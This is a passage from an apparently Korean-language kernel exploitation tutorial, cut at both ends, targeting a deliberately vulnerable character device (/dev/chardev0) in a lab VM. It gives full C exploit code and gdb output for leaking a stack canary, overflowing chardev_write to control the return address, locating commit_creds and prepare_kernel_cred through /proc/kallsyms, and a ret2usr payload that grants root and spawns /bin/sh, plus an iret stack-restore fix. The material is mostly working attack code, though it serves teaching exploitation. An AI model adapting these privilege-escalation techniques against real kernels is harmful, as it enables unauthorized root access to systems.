    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 4;i++){
		printf("%02x ",canary[i] & 0xff);
 	}
    printf("\n");

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • data 변수의 시작 주소는 0xf27b9ef8 이며, strcpy() 함수에 의해  "Welcom..." 문자열이 저장되었습니다.
  • lseek() 함수에 의해 data변수의 시작 주소가 변경(data + *f_pos)됩니다.
    • data 변수의 시작 주소 : 0xf27b9ef8
    • data 변수의 시작 주소 + *f_pos(0x20) : 0xf27b9f18
The start address of the data variable changed
Breakpoint 1, 0xf9ab0160 in ?? ()
(gdb) c
Continuing.

Breakpoint 2, 0xf9ab01a6 in ?? ()
(gdb) i r eax
eax            0xf27b9ef8	-226779400
(gdb) c
Continuing.

Breakpoint 3, 0xf9ab01ab in ?? ()
(gdb) x/30wx 0xf27b9ef8
0xf27b9ef8:	0x636c6557	0x20656d6f	0x74206f74	0x43206568
0xf27b9f08:	0x20574153	0x20465443	0x6c616863	0x676e656c
0xf27b9f18:	0x42202e65	0x20747365	0x6c20666f	0x216b6375
0xf27b9f28:	0x0000000a	0x00000000	0x00000000	0x00000000
0xf27b9f38:	0xba1ea7c7	0xf9ab0160	0xf27b9f90	0x0804a060
0xf27b9f48:	0xf27b9f5c	0xc11ae85f	0xf27b9f90	0xe78ec0c0
0xf27b9f58:	0x00000040	0xf27b9f80	0xc11aed79	0xf27b9f90
0xf27b9f68:	0xf9ab0027	0xf9ab1024
(gdb) c
Continuing.

Breakpoint 4, 0xf9ab01d9 in ?? ()
(gdb) si
0xf9ab01db in ?? ()
(gdb) i r esi
esi            0xf27b9f18	-226779368
(gdb) x/s 0xf27b9f18
0xf27b9f18:	"e. Best of luck!\n"
(gdb) x/30wx $esi
0xf27b9f18:	0x42202e65	0x20747365	0x6c20666f	0x216b6375
0xf27b9f28:	0x0000000a	0x00000000	0x00000000	0x00000000
0xf27b9f38:	0xba1ea7c7	0xf9ab0160	0xf27b9f90	0x0804a060
0xf27b9f48:	0xf27b9f5c	0xc11ae85f	0xf27b9f90	0xe78ec0c0
0xf27b9f58:	0x00000040	0xf27b9f80	0xc11aed79	0xf27b9f90
0xf27b9f68:	0xf9ab0027	0xf9ab1024	0x00000003	0xe78ec0c0
0xf27b9f78:	0xe78ec0c0	0x0804a060	0xf27b9fa4	0xc11af716
0xf27b9f88:	0xf27b9f90	0x00000040
(gdb) i r ebx
ebx            0x804a060	134520928
(gdb) x/30wx 0x804a060
0x804a060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a070:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a080:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a090:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0d0:	0x00000000	0x00000000
(gdb) c
Continuing.
  • 다음과 같이 buf 변수에서 "Welcom..." 문자열의 일부와 Canary 값을 확인할 수있습니다.

    • Kernel 영역에 저장된 Canary 영역의 주소는 0xf27b9f38 이며, 값은 0xba1ea7c7 입니다.

    • User 영역에 저장된 Canary 영역의 주소는 0x804a080 입니다.
Canary value copied to buf variable
Breakpoint 5, 0xf9ab0239 in ?? ()
(gdb) x/30wx 0x804a060
0x804a060:	0x42202e65	0x20747365	0x6c20666f	0x216b6375
0x804a070:	0x0000000a	0x00000000	0x00000000	0x00000000
0x804a080:	0xba1ea7c7	0xf9ab0160	0xf27b9f90	0x0804a060
0x804a090:	0xf27b9f5c	0xc11ae85f	0xf27b9f90	0xe78ec0c0
0x804a0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0d0:	0x00000000	0x00000000
(gdb) si
0xf9ab023e in ?? ()
(gdb) 
0xf9ab0242 in ?? ()
(gdb) i r ebp
ebp            0xf27b9f48	0xf27b9f48
(gdb) x/wx 0xf27b9f48 - 0x10
0xf27b9f38:	0xba1ea7c7
(gdb) si
0xf9ab0245 in ?? ()
(gdb) i r edx
edx            0xba1ea7c7	-1172396089
(gdb)
  • 다음과 같이 유저 모드에서 해당 모듈의 Canary 값을 추출할 수 있습니다.
Canary found
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

c7 a7 1e ba 60 01 ab f9 90 9f 7b f2 60 a0 04 08  | ǧ?`????{?`?
5c 9f 7b f2 5f e8 1a c1 90 9f 7b f2 c0 c0 8e e7  | \?{?_????{?????
canary is :c7 a7 1e ba 
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ 

Overflow canary

  • 다음 코드와 같이 앞에서 추출한 Canary 값을 이용하여 chardev_write() 함수의 Canary 확인 코드를 통과 할 수있습니다.
canary.c
//gcc -static -o canary canary.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#define TEXT_LEN 64

int main()
{
    static char buf[128],rop[128]; 
    char canary[4];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 4;i++){
		printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");

    memset(rop, 'A', 64);
    memcpy(rop+64,canary,4);
    write(fd, rop, 68);
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • chardev_write() 함수를 디버깅하기 위해 다음과 같이 Break point를 설정합니다.
Break point *0xf9ab00e0
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h:50
50	in /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h
(gdb) b *0xf9ab00e0
Breakpoint 6 at 0xf9ab00e0
(gdb) c
Continuing.
  • 유저 프로그램으로 부터 전달된 값이 커널영역에 저장되는지 확인하기 위해 다음과 같이 Break point를 설정합니다.
    • 0xf9ab0122 : _copy_from_user() 함수 호출전
    • 0xf9ab0133 : Canary 값 비교 전
Break point
Breakpoint 6, 0xf9ab00e0 in ?? ()
(gdb) x/30i $eip
=> 0xf9ab00e0:	int3   
   0xf9ab00e1:	mov    ebp,esp
   0xf9ab00e3:	push   edi
   0xf9ab00e4:	push   esi
   0xf9ab00e5:	push   ebx
   0xf9ab00e6:	sub    esp,0x4c
   0xf9ab00e9:	lea    esi,ds:[esi+eiz*1+0x0]
   0xf9ab00ee:	lea    ebx,[ebp-0x50]
   0xf9ab00f1:	mov    edi,edx
   0xf9ab00f3:	mov    DWORD PTR [esp],0xf9ab1084
   0xf9ab00fa:	mov    esi,ecx
   0xf9ab00fc:	mov    eax,gs:0x14
   0xf9ab0102:	mov    DWORD PTR [ebp-0x10],eax
   0xf9ab0105:	xor    eax,eax
   0xf9ab0107:	call   0xc1705c69 <printk>
   0xf9ab010c:	mov    DWORD PTR [esp+0x4],ebx
   0xf9ab0110:	mov    DWORD PTR [esp],0xf9ab10b4
   0xf9ab0117:	call   0xc1705c69 <printk>
   0xf9ab011c:	mov    ecx,esi
   0xf9ab011e:	mov    edx,edi
   0xf9ab0120:	mov    eax,ebx
   0xf9ab0122:	call   0xc1351a90 <_copy_from_user>
   0xf9ab0127:	test   eax,eax
   0xf9ab0129:	je     0xf9ab0149
   0xf9ab012b:	mov    eax,0xfffffff2
   0xf9ab0130:	mov    edx,DWORD PTR [ebp-0x10]
   0xf9ab0133:	xor    edx,DWORD PTR gs:0x14
   0xf9ab013a:	jne    0xf9ab0144
   0xf9ab013c:	add    esp,0x4c
   0xf9ab013f:	pop    ebx
(gdb) b *0xf9ab0122
Breakpoint 7 at 0xf9ab0122
(gdb) b *0xf9ab0133
Breakpoint 8 at 0xf9ab0133
(gdb) c
Continuing.
  • 다음과 같이 _copy_from_user() 함수의 인자 값들을 확인할 수 있습니다.

    • 1번째 인자 값으로 커널 영역의 data 변수 주소 값

    • 2번째 인자 값으로 유저 영역의 buf 변수 주소 값

      • 0x804a140 영역에 Canary 값이 저장되어있습니다.

    • 3번째 인자 값으로 데이터를 복사할 크기 

  • _copy_from_user() 함수 호출 후 data 변수에 buf 변수의 데이터가 모두 복사되었습니다.

Overwrite Canary
Breakpoint 7, 0xf9ab0122 in ?? ()
(gdb) i r eax edx ecx
eax            0xf3065ef4	-217686284
edx            0x804a100	134521088
ecx            0x44	68
(gdb) x/20wx 0xf3065ef4
0xf3065ef4:	0xf3065f00	0xc1712638	0xf9ab00e0	0xf3065f58
0xf3065f04:	0xc1711cf8	0xf9ab00e0	0x00000044	0x0804a100
0xf3065f14:	0xf3065f90	0x0804a100	0xf3065f58	0xf2a6aa80
0xf3065f24:	0x0000007b	0xe7a2007b	0xf30600d8	0xc11a00e0
0xf3065f34:	0xb985d68b	0xf9ab00e0	0xf3065f90	0x0804a100
(gdb) x/20wx 0x804a100
0x804a100:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a110:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a120:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a130:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a140:	0xb985d68b	0x00000000	0x00000000	0x00000000
(gdb) c
Continuing.

Breakpoint 8, 0xf9ab0133 in ?? ()
(gdb) i r edx
edx            0xb985d68b	-1182411125
(gdb) c
Continuing.
  • 다음과 같이 에러 없이 정상적으로 프로그램이 종료되었습니다.
No error occurs
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./canary
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

8b d6 85 b9 60 01 ab f9 90 5f 06 f3 80 a0 04 08  | ?օ?`???_?
5c 5f 06 f3 5f e8 1a c1 90 5f 06 f3 80 aa a6 f2  | \_?_???_󀪦?
canary is :8b d6 85 b9 
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$

Check stack overflow.

  • 다음과 같이 chardev_write() 함수의 return address 주소 영역을 확인 할 수 있습니다.
    • data 변수의 시작 주소는 0xf3065ef4 이며, return address가 저장된 영역의 시작 주소는 0xf3065f48입니다.
  • 즉, data 변수에 88 byte를 덮어쓰게되면,  chardev_write() 함수의 return address값을 변경할 수 있게 됩니다.
Check overflow
Breakpoint 6, 0xf9ab00e0 in ?? ()
(gdb) i r esp
esp            0xf3065f48	0xf3065f48
(gdb) x/wx 0xf3065f48
0xf3065f48:	0xc11ae95f
(gdb) x/40i $eip
=> 0xf9ab00e0:	int3   
   0xf9ab00e1:	mov    ebp,esp
   0xf9ab00e3:	push   edi
   0xf9ab00e4:	push   esi
...
   0xf9ab0133:	xor    edx,DWORD PTR gs:0x14
   0xf9ab013a:	jne    0xf9ab0144
   0xf9ab013c:	add    esp,0x4c
   0xf9ab013f:	pop    ebx
   0xf9ab0140:	pop    esi
   0xf9ab0141:	pop    edi
   0xf9ab0142:	pop    ebp
   0xf9ab0143:	ret    
   0xf9ab0144:	call   0xc1066890 <__stack_chk_fail>
   0xf9ab0149:	mov    DWORD PTR [esp+0x4],ebx
   0xf9ab014d:	mov    DWORD PTR [esp],0xf9ab10e8
   0xf9ab0154:	call   0xc1705c69 <printk>
   0xf9ab0159:	mov    eax,esi
   0xf9ab015b:	jmp    0xf9ab0130
(gdb) b *0xf9ab0143
Breakpoint 9 at 0xf9ab0143
(gdb) c
Continuing.

Breakpoint 7, 0xf9ab0122 in ?? ()
(gdb) i r eax
eax            0xf3065ef4	-217686284
(gdb) c
Continuing.
Breakpoint 8, 0xf9ab0133 in ?? ()
(gdb) c
Continuing.

Breakpoint 9, 0xf9ab0143 in ?? ()
(gdb) i r esp
esp            0xf3065f48	0xf3065f48
(gdb) p/d 0xf3065f48 - 0xf3065ef4
$3 = 84
(gdb)
  • 다음 코드를 이용하여 Overflow를 확인할 수 있습니다.
    • rop 변수의 시작영역 부터 rop+64 영역까지 문자 'A'를 저장합니다.
    • rop+64 영역에는 canary 값을 저장합니다.
    • rop+68 영역 부터 rop+84 영역까지 문자 'B'를 저장합니다.
    • rop+84 영역에 문자 'C' 4개를 저장합니다.
overflow.c
//gcc -static -o overflow overflow.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#define TEXT_LEN 64

int main()
{
    static char buf[128],rop[128]; 
    char canary[4];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    printf("%s\n",buf);
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 4;i++){
		printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");

    memset(rop, 'A', 64);
    memcpy(rop+64, canary, 4);
    memset(rop+68, 'B', 16);
    memset(rop+84, 'C', 4);
    write(fd, rop, 88);
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • 해당 코드를 빌드 후 실행하면 디버거에서 다음과 같이 return address 영역의 값이 "CCCC"(0x43434343)으로 변경된 것을 확인할 수 있습니다.
Changed Return address
Breakpoint 9, 0xf9ab0143 in ?? ()
(gdb) i r esp
esp            0xe018bf48	0xe018bf48
(gdb) x/wx 0xe018bf48
0xe018bf48:	0x43434343
(gdb) 
  • 변경된 값에 의해 다음과 같이 에러가 발생하여 프로그램이 종료됩니다.
Error caused by overflow
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test4 
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

c4 ce 40 6f 60 01 ab f9 90 bf 18 e0 80 a0 04 08  | ??@o`???????
5c bf 18 e0 5f e8 1a c1 90 bf 18 e0 00 df 10 f3  | \??_???????
canary is :c4 ce 40 6f 
Killed
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$
  • dmesg를 이용하여 모듈에서 발생한 에러의 정보를 확인 할 수 있습니다.
    • 에러 메시지에서 "Code: Bad EIP value." 라고 출력하는 것을 확인할 수 있습니다.

    • EIP 레지스터에 저장된 값이 43434343 이라는 것을 확인할 수 있습니다.
Error message
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ dmesg |tail -n 47
[ 3653.368679] NMI watchdog: BUG: soft lockup - CPU#0 stuck for 34s! [test4:3823]
[ 3653.368682] Modules linked in: chardev(OE) snd_ens1371 coretemp crc32_pclmul snd_ac97_codec gameport ac97_bus vmw_balloon snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi aesni_intel aes_i586 xts lrw gf128mul ablk_helper cryptd joydev input_leds serio_raw snd_seq uvcvideo videobuf2_vmalloc snd_seq_device snd_timer videobuf2_memops videobuf2_core v4l2_common videodev snd vmwgfx media ttm btusb btrtl btbcm btintel soundcore drm_kms_helper drm i2c_piix4 vmw_vmci shpchp nfit rfcomm bnep bluetooth 8250_fintek parport_pc ppdev lp parport mac_hid hid_generic usbhid hid psmouse ahci mptspi mptscsih mptbase libahci pcnet32 mii scsi_transport_spi pata_acpi
[ 3653.368753] CPU: 0 PID: 3823 Comm: test4 Tainted: G           OEL  4.2.0-27-generic #32~14.04.1-Ubuntu
[ 3653.368754] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/02/2015
[ 3653.368756] task: e7b35000 ti: e018a000 task.ti: e018a000
[ 3653.368757] EIP: 0060:[<43434343>] EFLAGS: 00000292 CPU: 0
[ 3653.368758] EIP is at 0x43434343
[ 3653.368759] EAX: 00000058 EBX: 42424242 ECX: 00000246 EDX: 00000000
[ 3653.368760] ESI: 42424242 EDI: 42424242 EBP: 42424242 ESP: e018bf4c
[ 3653.368761]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[ 3653.368762] CR0: 80050033 CR2: b76a50c0 CR3: 2bfdbcc0 CR4: 000406f0
[ 3653.368775] Stack:
[ 3653.368776]  e018bf90 f310df00 00000058 e018bf80 c11aeeb3 e018bf90 b76a50c0 00000000
[ 3653.368778]  00000000 00000003 f310df00 f310df00 0804a100 e018bfa4 c11af7a6 e018bf90
[ 3653.368780]  00000058 00000020 00000000 00000003 00000000 00000000 e018a000 c171111f
[ 3653.368782] Call Trace:
[ 3653.368818]  [<c11aeeb3>] ? vfs_write+0x93/0x1a0
[ 3653.368820]  [<c11af7a6>] ? SyS_write+0x46/0x90
[ 3653.368822]  [<c171111f>] ? sysenter_do_call+0x12/0x12
[ 3653.368823] Code:  Bad EIP value.
[ 3653.464651] kernel tried to execute NX-protected page - exploit attempt? (uid: 1000)
[ 3653.464655] BUG: unable to handle kernel paging request at 43434343
[ 3653.464657] IP: [<43434343>] 0x43434343
[ 3653.464659] *pdpt = 000000003599f001 *pde = 0000000000000000 
[ 3653.464661] Oops: 0010 [#1] SMP 
[ 3653.464663] Modules linked in: chardev(OE) snd_ens1371 coretemp crc32_pclmul snd_ac97_codec gameport ac97_bus vmw_balloon snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi aesni_intel aes_i586 xts lrw gf128mul ablk_helper cryptd joydev input_leds serio_raw snd_seq uvcvideo videobuf2_vmalloc snd_seq_device snd_timer videobuf2_memops videobuf2_core v4l2_common videodev snd vmwgfx media ttm btusb btrtl btbcm btintel soundcore drm_kms_helper drm i2c_piix4 vmw_vmci shpchp nfit rfcomm bnep bluetooth 8250_fintek parport_pc ppdev lp parport mac_hid hid_generic usbhid hid psmouse ahci mptspi mptscsih mptbase libahci pcnet32 mii scsi_transport_spi pata_acpi
[ 3653.464687] CPU: 0 PID: 3823 Comm: test4 Tainted: G           OEL  4.2.0-27-generic #32~14.04.1-Ubuntu
[ 3653.464688] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/02/2015
[ 3653.464689] task: e7b35000 ti: e018a000 task.ti: e018a000
[ 3653.464690] EIP: 0060:[<43434343>] EFLAGS: 00010292 CPU: 0
[ 3653.464692] EIP is at 0x43434343
[ 3653.464692] EAX: 00000058 EBX: 42424242 ECX: 00000246 EDX: 00000000
[ 3653.464693] ESI: 42424242 EDI: 42424242 EBP: 42424242 ESP: e018bf4c
[ 3653.464694]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[ 3653.464695] CR0: 80050033 CR2: 09f799b4 CR3: 2bfdbcc0 CR4: 000406f0
[ 3653.464699] Stack:
[ 3653.464700]  e018bf90 f310df00 00000058 e018bf80 c11aeeb3 e018bf90 b76a50c0 00000000
[ 3653.464702]  00000000 00000003 f310df00 f310df00 0804a100 e018bfa4 c11af7a6 e018bf90
[ 3653.464704]  00000058 00000020 00000000 00000003 00000000 00000000 e018a000 c171111f
[ 3653.464706] Call Trace:
[ 3653.464711]  [<c11aeeb3>] ? vfs_write+0x93/0x1a0
[ 3653.464713]  [<c11af7a6>] ? SyS_write+0x46/0x90
[ 3653.464716]  [<c171111f>] ? sysenter_do_call+0x12/0x12
[ 3653.464717] Code:  Bad EIP value.
[ 3653.464718] EIP: [<43434343>] 0x43434343 SS:ESP 0068:e018bf4c
[ 3653.464719] CR2: 0000000043434343
[ 3653.464721] ---[ end trace 1a4cd02c5eefac55 ]---
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$

Exploit method

  • ret2usr 기법을 이용한 Exploit의 순서는 다음과 같습니다.

Exploit 순서
  • prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.

  • commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
  • system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
  • 이를 코드로 표현하면 다음과 같습니다.
ROP code
commit_creds(prepare_kernel_cred(NULL));
system("/bin/sh");
  • 앞에 내용을 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • prepare_kernel_cred() 함수의 주소

  • commit_creds() 함수의 주소

Find the address of a function

  • 다음과 같이 "/proc/kallsyms" 파일을 이용하여 필요한 함수의 주소를 확인할 수 있습니다.
Find the address of a kernel function
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
c1082e20 T prepare_kernel_cred
c19d16e4 R __ksymtab_prepare_kernel_cred
c19dea74 r __kcrctab_prepare_kernel_cred
c19e5f5f r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo cat /proc/kallsyms |grep commit_creds
c1082b60 T commit_creds
c19cd2cc R __ksymtab_commit_creds
c19dc868 r __kcrctab_commit_creds
c19e5f9b r __kstrtab_commit_creds
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$
  • 하지만 해당 시스템에서는 KASLR을 비활성화 하지 않았으며, "/proc/kallsyms" 파일 열어서 필요한 함수의 주소를 찾아서 프로그램을 작성하는 것은 효율적이지 못합니다.
  • 다음과 같이 "/proc/kallsyms" 파일에서 필요한 함수의 주소를 찾아주는 함수를 작성할 수 있습니다.
    • open() 함수를 이용하여 "/proc/kallsyms" 파일을 열고, fgets() 함수를 이용하여 파일의 내용을 읽어 fbuf 변수에 저장합니다.
    • while문을 이용하여 읽어들인 내용중 공백(' ')을 찾아, 해당 주소로 부터 3byte 떨어진곳에 저장된 문자열과 인자 값으로 전달된 문자열이 같은지 확인합니다.
    • 이로 인해 p 포인터 변수에는 함수의 이름, addr 변수에는 해당 함수의 주소 값을 가지게 됩니다.
  • 해당 정보를 이용하여 권한 상승을 하는 함수를 구현하여 return address 영역에 함수의 주소 값을 저장합니다.
Find the address & ret2usr
//gcc -static -o rettousr rettousr.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

#define TEXT_LEN 64

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    execl("/bin/sh", "sh", NULL);
}

unsigned long kallsym_getaddr(const char* str)
{
    FILE *stream;
    char fbuf[256];
    char addr[32];

    stream = fopen("/proc/kallsyms","r");
    if(stream < 0)
    {
        printf("failed to open /proc/kallsyms\n");
        return 0;
    }

    memset(fbuf,0x00,sizeof(fbuf));
	
    while(fgets(fbuf,256,stream) != NULL)
    {
        char *p = fbuf;
        char *a = addr;

        if(strlen(fbuf) == 0)
            continue;

        memset(addr,0x00,sizeof(addr));
        fbuf[strlen(fbuf)-1] = '\0';

        while(*p != ' ')
            *a++ = *p++;

        p+=3;
	if(!strcmp(p,str))
            return strtoul(addr, NULL, 16);
    }
    return 0;
}

int main()
{
    static char buf[128],rop[128]; 
    char canary[4];
    int fd,i,j;

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);

    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 
 
    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 4;i++){
		printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");

    //Exploit code
    memset(rop, 'A', 64);
    memcpy(rop+64, canary, 4);
    memset(rop+68, 'B', 16);
    *((void**)(rop+84)) = &payload;

    //Overflow
    write(fd, rop, 88);
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • 다음과 같이 Exploit에 필요한 함수의 주소를 찾을 수 있습니다.
    • commit_creds address is :0xc1082b60 

    • prepare_kernel_cred address is :0xc1082e20

  • 하지만 예상과 달리 다음과 같이 Segmentation fault 에러가 발생하며 프로그램이 종료됩니다.
Find the address of the kernel function
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test6 
commit_creds address is :0xc1082b60
prepare_kernel_cred address is :0xc1082e20
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

28 2f 16 b8 60 51 27 fb 90 7f c0 c0 a0 bf 0e 08  | (/�`Q'������
5c 7f c0 c0 5f e8 1a c1 90 7f c0 c0 40 85 d2 d8  | \��_�����@��
canary is :28 2f 16 b8 
Segmentation fault (core dumped)
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$

Restore the stack pointer

  • 앞에서 프로그램이 종료된 원인을 확인하기 위해 core파일을 분석해 보겠습니다.

    • core 파일을 통해 레지스터의 값을 확인하면 대부분의 값 들이 Kernel-space 라는 것을 확인할 수 있습니다.

  • User-space에서 Kernel-space로 이동하게 되면 사용하게 되는 stack pointer들이 달라지며, Kernel-space에서 User-space로 이동 할 경우에도 stack pointer에 대한 복원이 필요합니다.

    • 앞에서 작성한 ret2usr로 쉘을 획득할 수 없는 이유도 Kernel-space에서 User-space의 함수를 호출 하기전에 stack pointer의 복원이 없었기 때문입니다.

Check the Core file
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo gdb -q ./test6 ./core
Reading symbols from ./test6...(no debugging symbols found)...done.
[New LWP 3383]
Core was generated by `./test6'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xb7704cb0 in ?? ()
(gdb) bt
Python Exception <class 'gdb.MemoryError'> Cannot access memory at address 0xc4854edc: 
#0  0xb7704cb0 in ?? ()
Cannot access memory at address 0xc4854edc
(gdb) i r
eax            0xfffffff2	-14
ecx            0xc4854f10	-997896432
edx            0xbfd4f77c	-1076562052
ebx            0x80bf3cb	135001035
esp            0xc4854ed8	0xc4854ed8
ebp            0xc4854ed8	0xc4854ed8
esi            0xc4855f3c	-997892292
edi            0xc4854f10	-997896432
eip            0xb7704cb0	0xb7704cb0
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x0	0
(gdb)
  • 이러한 문제는 iret(iretq with 64-bit)명령어를 이용하여 해결할 수 있습니다.

    • iret 명령어는 인터럽트로 중단 된 프로그램 또는 프로시저(procedure)로 프로그램 제어를 반환하는 명령어입니다.

    • 즉, iret 명령어가 실행되면, 대피시킨 PC 값을 복원하여 이전 실행 위치로 복원한다.

  • iret명령어를 이용하기 위해 다음과 같이 특정 스택 레이아웃이 필요합니다.

Stack Layout
32-bit64-bit
EIPRIP
CSCS
EFLAGSEFLAGS
ESPRSP
SSSS
  • 다음과 같이 stack pointer 복원 코드를 구현 할 수 있습니다.

    • IRET 명령어에 필요한 stack layout 형태의 구조체를 생성합니다.
    • 어셈블리 코드를 이용하여 stack layout에 필요한 레지스터의 값을 tf 구조체에 저장하는 함수(prepare_tf)를 구현합니다.

      • EIP 영역에는 shell을 실행하는 함수의 주소를 저장합니다.

    • payload 함수에 execl()함수를 제거하고 다음과 같은 어셈블리코드를 구현합니다.
      • ESP 레지스터에 tf구조체의 주소를 저장하고 IRET 명령어를 호출합니다.
Restore the stack pointer
struct trap_frame {
    void * eip;
    uint32_t cs;
    uint32_t eflags;
    void * esp;
    uint32_t ss;
} __attribute__((packed));
struct trap_frame tf;

void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &getShell ;
    tf.esp -= 1024; 		// unused part of stack
}

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret ;");
